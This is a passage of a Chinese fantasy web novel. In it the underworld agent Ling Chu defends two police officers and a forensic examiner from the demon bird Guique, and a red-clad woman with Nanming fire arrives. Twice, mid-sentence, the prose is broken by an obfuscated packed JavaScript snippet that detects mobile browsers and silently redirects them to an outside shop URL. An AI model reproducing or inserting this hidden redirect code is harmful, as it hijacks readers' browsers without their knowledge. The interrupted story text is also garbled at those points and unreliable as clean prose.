见霍熹回来,陈遇放下水瓶,问她:“说出去转转,对了,怎么不见霍奶奶?”他之前来过几次,老太太每次都很热情地招待他,最初也想过把他和霍熹凑成一对儿,在二人明确拒绝后便不再提起,只当他是一个孙辈。 霍熹掐了掐眉心,道:“回南城扫墓去了。” 扫墓?清明都过去一段日子了,还没回来?陈遇不解。 “扫完墓跟我说要见见老朋友,联络联络感情,让我给她喂几天鸟。”结果鸟还没喂几天就出事了! 一想起这个她就头疼得很,老太太回来她该怎么解释? 李善言弱弱举手,“要不,去花鸟市场补个货?” 霍熹:“……也行,你们还要回局里是吧?捎我一段路。” “好。”陈遇把塑料箱搬起来,“那就走吧。” 凌初出了霍家院门,径直朝工人们走过去。 日晷极大,工人们把它分成好几个部分,一点一点装车。 将近正午,阳光直.射着晷盘,投下一道阴影。 凌初盯着看了一会儿,工人们注意到她,其中一个又高又壮的小伙子走过来提醒:“女士,这边正在搬石头,麻烦您离远点儿,万一受伤我们不好跟物业交代。” “哦。”凌初听话往后退了几步,然后才问小伙儿:“师傅,这日晷为什么要拆了?打算运去哪里?” 小伙子挠挠头,声音憨厚:“我也不太清楚,是这小区的物业联系我们,让把这石头拆走,我们只负责拆。您说它叫日什么?鬼?” “日晷,古代用来计算时间的器物。”凌初拧眉沉思,物业干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17422109|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的?难道有人想破坏这个风水局? “凌初姐——”李善言站在不远处大喊,“走了——” 凌初挥挥手,示意她知道了,然后对小伙子道了声谢,“谢谢,再见。” “再见。” …… 回市里的路上,车内很沉默。 李善言坐在副驾,欲言又止,难受得很。这仨人是什么情况,从上车到现在,一句话都没有说过?是我错过什么了吗? 他绞尽脑汁想了半天,最终以一个非常老套的开场白起了个话头:“你们看,今天天气真不错,是吧?” 的确不错,艳阳高照,晴空万里。 只不过,李善言刚说完这句话,远处天际就出现了黑沉沉的一片云。 李善言:“???”老天爷这啥意思?专门跟他作对呢? 他打开手机看天气预报,吐槽道:“这也没说有雨啊?后边乌云怎么回事儿?” 其余人也看到了天空的变化,凌初随意瞟了一眼没当回事儿。 霍熹朝后扭过头,看了半晌,“不对,这乌云离我们越来越近了。” 凌初袖中突然一寒,她掏出那根鬼雀尾羽,只见黑色羽毛上竟然凝聚起冰霜,一阵阵冷意袭来,车厢内的温度急剧下降。 她定睛一看,天上那块黑沉沉的东西,哪里是乌云,分明是巨大的鸟影。 “陈队,往没人的地方开,是鬼雀!”凌初指尖飞快地画了两个符,覆在鬼雀尾羽上,它溢出冷气的速度才稍稍放缓。 怪不得鸟嘴说拿着这根尾羽一定能找到鬼雀,原来根本不用她找,鬼雀会主动找上门来! 陈遇踩下油门,快速打方向盘,拐进了一条土路,这个方向,是往山里去的。 李善言冻得牙都打磕碜,脑子都快木了,“凌、凌初姐,天上那黑影,就是鸟尸剖心案的凶手?”说完才惊觉车上并非只有他们三个人,还有霍熹!他的双眼登时睁大,瞬间看向霍熹。 霍熹似笑非笑。 李善言:“……”完蛋。 “是。”凌初神情严肃。 天上的黑影愈来愈近,几乎就在车子的正上方,投下来巨大的黑影,将车子整个囊括。 “唰唰唰——”几道破空声响起,凌初一边喊一边动作:“往左!”一只手把霍熹从右边揽过来,一只脚踹前面人的座位。 陈遇猛打方向盘! “咻咻咻”,几道冰棱直直穿过车顶,插在霍熹刚刚的位置上。 “!!!”李善言大惊。 土路颠簸,不好控制。 陈遇猛打方向盘的后果就是车子不受控制地撞到了一棵树上,几人俱是一震。 “下车!”凌初头脑清醒,一脚踹开车门先出去,霍熹跟在后头。陈遇、李善言解开安全带,打开车门出去。 “李善言,带他们找个遮挡的地方。”凌初站在车前,冷冷盯着天上的黑影。 “好!陈队,霍法医,我们先走。” “哎?”霍熹被两个人拉着,“凌初怎么办?你们就让她一个人?你们……” 她话还没说完,就闭上了嘴,因为她看见凌初伸手,一柄银白长剑便浮现在手中,然后挥出一道剑气朝天上劈过去! 太帅了! 她还没感慨完,更令人惊讶的事情出现了。 天上的黑影逐渐变小,缓缓化成一只两米左右的黑色巨鸟,站在了不远处的空地上。 巨鸟双目通红,声音嘶哑凄厉,“把我的尾羽还给我!” 42. 南明离火 这就是鬼雀? 凌初持剑而立,冷冷注视着这只传说中早已灭绝的妖物,看上去也没什么稀奇的。 三个活人站在一块巨石后面,瞠目结舌地看着口吐人言的P、P、P……Plus版红眼乌鸦,三人对视一眼,相同的念头萦绕在脑中:乌鸦会说人话,好像还挺正常的吧? 那乌鸦浑身漆黑,羽毛黑亮,没有一根杂色,唯一遗憾的是,尾部明显有一个缺口,应该就是少了凌初手上的那根尾羽。 听到鬼雀的声音,凌初另一只手拿出尾羽,扬起一个挑衅十足的笑容,“鬼雀!有本事过来抢啊!” 陈遇:它就是凶手?! 李善言:喔,鬼雀长这样啊。 霍熹:我的世界观岌岌可危! “小鬼找死!”鬼雀叫道,随后身形突然变大,一直到三层楼高才停下,而后振翅,一双巨大的翅膀猛地一扇,现场顿时狂风大作、飞沙走石。 凌初连连退后好几步,迅速把剑插地,稳住了身形。 身后的活人们可就没这么好运了,李善言一个不留神,脚下打滑,整个人都开始往后倒。 “?妈呀,陈队救命啊——”他慌乱地摆手。 陈遇抱着石头边的一棵树,闻言伸出一只手,准备去捞人。 “抓着我,我去捞。”匍匐在地的霍熹直起身,一手握住陈遇,走了几步,准确抓住李善言扑腾的手,同时喝道:“弯腰,越低越好。” 风沙太大,模糊了视线,她眯眼回头对陈遇说:“慢慢拉我们过去。” 就这样,三个人艰难地回到巨石旁边,抱紧了那棵树,“霍、霍法医,呸!”李善言刚想道谢,就吃了一嘴的沙子,“谢谢你啊,没想到你这么有劲儿!” 霍熹抹去脸上的沙尘,毫无感情地开口:“你如果天天搬一百八十斤的尸体也会这么有劲的。” 李善言:“……”谢谢建议,但大可不必哈。 一道奇异的光圈忽然罩住了三个人所在的地方,陈遇最先发现周围没有风了,刚想起身查看,就听见凌初的声音,“不要出来。” 于是他停住,站了起来,注视着凌初与鬼雀的动向,霍熹和李善言也起了身。 鬼雀振翅引起的混乱慢慢平复,风沙渐渐停了,碎石成片、树倒草折,狼藉一片。 天色阴沉,鬼雀脸上也露出不耐,它恶狠狠道:“小鬼,我跟你们阴司向来井水不犯河水,快把尾羽给我!” “是吗?”凌初歪头,疑惑:“可我怎么记得,你这些天剖杀了不少鸟类,取走了它们的心脏,我们阴司的无辜鸟魂,增加了不少呢!” “……不过是一群未开灵智的禽兽,值得你们如此大费周章?”鬼雀傲慢又轻蔑地回答。 这话说得忒不要脸,不远处的三个活人都倒吸了口冷气,霍熹仰头看着鬼雀,眼神比它更傲慢,“禽兽?你不也是禽兽嘛。” 见鬼雀的视线投来,她做作地瞪大双眼,捂着嘴,不怕死地加上一句,“哦,不好意思,可能你连禽兽都算不上,毕竟是个人人喊打的妖物!” 李善言猛点头,非常满意霍熹拉的这波仇恨。 不愧是我们红旗分局大魔王,嘴毒第一名! 谁知鬼雀却哈哈大笑起来,“哈哈哈哈……小鬼,你们阴司竟然与这些不自量力的蝼蚁为伍。” 三个“蝼蚁”面无表情看着它。 “人乃万物之灵长。”凌初淡淡道,她并不认同鬼雀对活人的轻视。 此间世界运转皆围绕着阳世,所有鬼神都有一个共识——人,是天道的唯一选择。 故人虽弱小,但没有任何鬼神敢轻视。君不知,满天神佛、幽冥鬼神,全都靠人间香火得以存在。 神赖人灵,可不是说说而已。 鬼雀这种天生地长的妖物,根本无法理解凌初对于凡人的敬重,它甚至觉得很可笑,堂堂阴差,拥有移山填海的法力,竟然害怕区区凡人? 所以它以实际行动发泄不满,“哗——”巨大的翅膀扇动,周围顿时出现了几个小小的漩涡,鬼雀用力振翅,漩涡越来越大,树枝、碎石都被卷上了天! 凌初见势不妙,立刻祭出寻鬼镯,长长的缚魂锁自动缠绕上三个活人,另一端握在她的手中。 鬼雀见状,双翅一扬,双脚离地,朝凌初冲过来。 巨大的鸟爪迎面扑来,凌初一手握着缚魂锁,一手挑剑,剑身与鸟爪相.交,“刺啦”一声,凌初就地打了个滚,躲开了锋利的鸟喙。 好险,差点儿就破相了。 这样打架太束手束脚,凌初犹豫一刻,立刻将缚魂锁的另一端化作一枚巨大的钉子,“咻”的一下直接钉入不远处的石壁中。 这下子人总不会被吹跑了。 两名警察和一名法医看着缠绕在自己身上的锁链,忽然对抓过的犯罪嫌疑人生出了莫名其妙的感同身受,产生一种诡异至极的同情心! 原来被捆是这种感觉。 悬停在空中的鬼雀勃然大怒,再一次探出尖利的鸟爪朝凌初袭来,凌初这次没有正面对上它,反而以极快的速度转身跑了。 鬼雀不依不饶地追了上去。 调虎离山! 陈遇往前跑了几步,就被一股力量扯住了脚步,他神色充满担忧。 李善言席地而坐,全神贯注地把玩缚魂锁,奇道:“难道这就是传说中的勾魂索?” 霍熹叹了口气,来到陈遇面前,“她跟那只怪鸟,谁的胜算大些?如果她……"停顿,“如果我们一直被锁在这里怎么办?” “凌初会赢的。”陈遇语气肯定。 陈遇这人,性子谨慎得很,没有十足的把握,通常不会用这么肯定的语气回答问题。霍熹偏头看了他一眼,“……行,我信你这一回。” 话刚说完,霍熹就靠着树干蹲下来,她得好好消化一番,平复下心情。 凌将鬼雀引去了山里的更深处。 山中多古树,林深树密,鬼雀巨大的身体根本无法一直低空飞行,再一次被突兀的横在眼前的树枝挡住去路后,它愤愤缩小了身体,化成一只游隼大小般的黑鸟,俯冲下去! 凌初快速奔跑着,惊觉身后空气波动,迅速反应过来,手中银白长剑变换形状,化成一柄白色长弓。她脚步停下,转身,搭弓,右手拉开弓弦,一支阴气凝聚成的羽箭缓缓浮现,瞄准,松弦! 黑色的箭矢射.向鬼雀! 疾飞中的鬼雀一惊,慌忙改变方向,但还是被箭矢擦掉了几片羽毛。 “啊——” 鬼雀凄厉的叫声响彻山中,惊起一大片鸟儿,成群结队地逃离。 这边被缚魂锁捆着的三个活人抬起头,目不转睛盯着飞走的群鸟,李善言不确定地问另外两人:“刚那声,是鬼雀吧?”叫的这么惨,凌初姐大获全胜啊。 没有人答话。 “……”行,你们就装深沉吧。 远处,一辆红色跑车正朝群鸟逃离的方向风驰电掣赶来。 副驾上的男人紧紧抓着胸前安全带,精心打理的头发此刻都被风吹得竖了起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17461511|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一股脑朝后脑勺倒过去,他崩溃了,“姑奶奶,求求你开慢点儿吧!” “……”驾驶座开车女人一阵沉默,车速稍稍降了下来。 随后,两人便听到一声凄厉的叫声,“轰隆”一声,女人脚踩油门,跑车顿时狂飙出去! 谁来救救我!男人欲哭无泪。 …… 射出第一箭后,凌初又三箭连发,箭箭招呼鬼雀的头。 鬼雀怒极,最后一箭射来时,它不闪不避,就在箭簇即将插中头部的时候,吐出一口冷息,整支羽箭瞬间被冰封,啪嗒一声掉落在地,碎成了好几段。 凌初一脸防不胜防:它还能这样?真是见鬼了! 趁凌初愣怔,鬼雀抓住机会,又吐出一股泛着刺骨寒意的气息。 这气息仿佛是从万里之外的极地而来,比阴司的寒冰地狱还要冷,所过之处,无论山石草木,皆被冰封,并且,这冰封还有四处漫延的趋势。 “我真是服了,白无常和鸟嘴怎么没鬼说过这个情况???”凌初狼狈地后退,不敢慢上一步,否则就要成为冰棍儿了。 鬼雀步步紧逼,凌初连连后退。 周围已经被冰封了一大片,四五月份的天气,寒意逼人。 再一次躲过鬼雀的袭击后,凌初踏上冰面,“嘶——”太冷了吧,脚下的寒意由下而上,直接渗透到了骨缝中。 这只鬼雀竟然是只极寒的妖物?这都是从哪里来的冰?凌初一边抖,一边想。 冰?水!世间万般法则,其中一条便是五行。五行之中,克水者,土也。 土?有了! 凌初快速做了个手势,振振有词:“地坤,引厚土。” 凌初念决的声音刚落,所在的地面之下,随即震动起来,整个土层都有往上翻动的姿态,冰面裂开了好几处。 但很快就被再次冰封起来。 “???”凌初满脑袋问号,她不理解,五行相生相克的法则在鬼雀身上都失灵了? 鬼雀哈哈大笑,“这点儿土就想克制我,太天真了。”它这极阴之地的寒息,可不是小小召土术法能阻拦的。 除非是……但这东西怎么可能出现呢? “小鬼,把我的尾羽还给我。”鬼雀悬停在空中,阴测测道。 “尾羽?好哇。”凌初拿出那根尾羽,抬头看了眼鬼雀,打了个响指,指尖燃起蓝色的火焰,“噌”一下便烧到了尾羽。 等了半天,这根尾羽也没烧化。 “???”搞什么鬼?这可是从无间地狱带出来的地阴之火,连魂魄都能烧化,这根尾羽是怎么回事儿? “愚蠢!”鬼雀嘲讽道,“尾羽上有我三分之一的法力,你的火是烧不化的。” 原来如此,所以鬼雀才迫切地想拿回尾羽。 “小鬼,把尾羽给我,饶你一命。” 周围寒气弥漫,凌初的全身已经覆盖上薄薄的一层冰碴,她刚想开口,就被一个声音给打断了。 “妖物,有没有人告诉过你一句话?” 这声音是从鬼雀背后传来的,它扭过头去,来人一身红色衣服,没见过。 “你说谁?” 红衣女人没回应,自顾自继续道:“叫反派死于话多!”一抹血红色的火焰突然出现在她的指尖。 熟悉的气息叫鬼雀脸色大变,它颤抖着开口:“南、南明离火?!” 女人摘下墨镜,赤目红唇,墨发飞扬。 她勾起唇角,扬起一个张扬明艳的笑容,“算你还有点儿见识。”